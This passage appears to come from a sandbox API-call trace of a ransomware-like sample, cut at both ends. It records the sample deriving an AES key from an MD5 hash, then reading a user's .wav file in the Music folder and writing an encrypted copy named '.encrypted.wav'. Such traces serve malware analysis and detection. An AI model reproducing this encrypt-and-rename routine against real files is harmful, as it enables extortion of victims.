hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.902] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.902] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.902] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.902] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.902] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.902] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.902] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.903] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.903] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.903] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.903] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0026.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.903] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.903] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.903] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.903] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.903] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.903] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.903] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.903] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.903] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.903] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.903] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.903] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.903] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.903] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.903] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.903] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0026.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.904] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0026.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.904] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.904] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.904] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.904] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b720, dwDataLen=0x20, dwFlags=0x1) returned 1 [0026.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.904] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.904] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.904] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.904] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.904] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.904] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0026.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.904] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.904] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0026.904] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.905] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0026.905] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.906] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\ONVMABx84l5Xkpsb6eP.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\onvmabx84l5xkpsb6ep.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.906] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.906] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0026.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.907] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\" (normalized: "c:\\users\\5jghkoaofdp\\music")) returned 0x11 [0026.907] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\ONVMABx84l5Xkpsb6eP.encrypted.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\onvmabx84l5xkpsb6ep.encrypted.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.907] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.907] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.907] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.907] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.909] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0026.909] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x3a24, lpOverlapped=0x0) returned 1 [0026.909] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0026.911] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.911] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.911] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.911] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0026.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.912] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0026.912] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.912] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0026.912] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.912] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.912] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.912] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0026.913] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.913] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064d40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0026.913] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.913] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.913] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.913] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.913] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.913] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.913] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.913] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.913] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.913] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.913] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.913] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.914] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.914] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.914] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.914] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.914] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.914] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.914] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.914] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x3a24, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x3a30) returned 1 [0026.914] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.914] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.914] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.914] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.914] CharLowerBuffW (in: lpsz="byte[14897]", cchLength=0xb | out: lpsz="byte[14897]") returned 0xb [0026.914] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.914] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.914] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.914] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.914] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.914] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f437da60*, pdwDataLen=0xe8f3dfdf68*=0x3a24, dwBufLen=0x3a30 | out: pbData=0xe8f437da60*, pdwDataLen=0xe8f3dfdf68*=0x3a30) returned 1 [0026.915] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.915] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.915] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.915] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.915] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.915] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.915] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.915] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.915] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.915] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.915] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.915] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.915] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.915] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.915] PeekMessageW (in: 